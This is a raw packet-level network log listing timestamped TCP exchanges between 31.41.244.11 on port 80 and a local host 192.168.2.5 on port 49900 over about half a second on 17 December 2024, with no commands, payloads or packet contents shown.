Dec 17, 2024 08:03:41.308463097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.308510065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.309454918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.309505939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.309626102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.309679031 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.310683012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.310731888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.310766935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.310885906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.311661005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.311768055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.311784029 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.311810970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.312731028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.312783003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.312844038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.312891006 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.313802004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.313851118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.313914061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.313955069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.314897060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.315016985 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.315030098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.315057039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.316020012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.316066980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.316068888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.316103935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.317068100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.317114115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.317157030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.317198992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.318114042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.318159103 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.318209887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.318245888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.319206953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.319255114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.319339991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.319432974 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.320274115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.320321083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.320334911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.320369959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.321378946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.321449995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.321491003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.321531057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.322454929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.322532892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.322544098 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.322581053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.323534966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.323580980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.323653936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.323729992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.324605942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.324723959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.324768066 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.325684071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.325737000 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.325779915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.325823069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.326776981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.326819897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.326864958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.326936007 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.328001976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.328018904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.328049898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.328110933 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.328963041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.329015017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.329056978 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.329101086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.330029964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.330070972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.330168009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.330249071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.331124067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.331176996 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.331254959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.331327915 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.332179070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.332223892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.332304955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.332349062 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.333302975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.333352089 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.333425045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.333616972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.334363937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.334409952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.334475040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.334584951 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.335437059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.335486889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.335565090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.335604906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.336549044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.336596012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.336641073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.336688042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.337809086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.337853909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.337940931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.337989092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.338690996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.338736057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.338809967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.338902950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.339843988 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.339951992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.339976072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.340022087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.340854883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.340903044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.340960026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.341064930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.341943979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.342015982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.342057943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.342088938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.343027115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.343066931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.343133926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.343178988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.344157934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.344487906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.479429960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.479572058 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.479633093 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.479950905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.480006933 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.480020046 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.480076075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.481040955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.481081009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.481173992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.481215000 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.482126951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.482181072 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.482265949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.482347012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.483211994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.483268976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.483335972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.483524084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.484317064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.484366894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.484383106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.484424114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.485369921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.485414028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.485491037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.485629082 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.486445904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.486496925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.486526012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.486567020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.487556934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.487670898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.487682104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.487720013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.488627911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.488672972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.488789082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.488845110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.489860058 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.489903927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.489953995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.489993095 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.490766048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.490806103 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.490880013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.490916967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.492012024 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.492053032 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.492090940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.492135048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.492957115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.493010998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.493072987 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.493158102 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.494024038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.494178057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.494199991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.494211912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.495112896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.495212078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.495234966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.495249987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.496238947 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.496295929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.496309996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.496344090 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.497328043 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.497379065 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.497385979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.497423887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.498404980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.498529911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.498547077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.498687029 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.499422073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.499481916 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.499608040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.499716997 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.500539064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.500583887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.500634909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.500670910 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.501600981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.501652002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.501707077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.501805067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.502676964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.502712011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.502815008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.502847910 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.503772974 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.503879070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.503915071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.504841089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.504893064 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.504961014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.505028009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.505925894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.506067038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.506093979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.506103992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.507009983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.507055998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.507164955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.507460117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.508070946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.508128881 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.508184910 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.508332014 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.509251118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.509291887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.509330988 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.509362936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.510272026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.510327101 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.510365009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.510401011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.511373043 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.511416912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.511420965 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.511447906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.512423038 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.512478113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.512499094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.512533903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.513501883 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.513571024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.513612032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.513711929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.514578104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.514715910 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.514839888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.515722036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.515775919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.515832901 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.516738892 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.516863108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.516923904 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.517836094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.517884970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.517947912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.518064022 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.518920898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.519045115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.519087076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.520026922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.520127058 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.520180941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.521066904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.521210909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.521235943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.521255970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.522144079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.522252083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.522258043 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.522444010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.523247957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.523345947 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.523365021 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.523380995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.524336100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.524379969 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.524435997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.524477959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.525420904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.525485992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.525527000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.525562048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.526500940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.526581049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.526659012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.526751995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.527571917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.527698994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.527734995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.527751923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.528675079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.528804064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.528862953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.529742002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.529794931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.529845953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.529968977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.530822039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.530877113 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.530930042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.531482935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.531956911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.532049894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.532058001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.532237053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.532993078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.533045053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.533104897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.533185959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.534079075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.534126043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.534164906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.534287930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.535149097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.535187960 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.535250902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.535310984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.536181927 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.536228895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.671739101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.671772957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.671824932 CET	49900	80	192.168.2.5	31.41.244.11
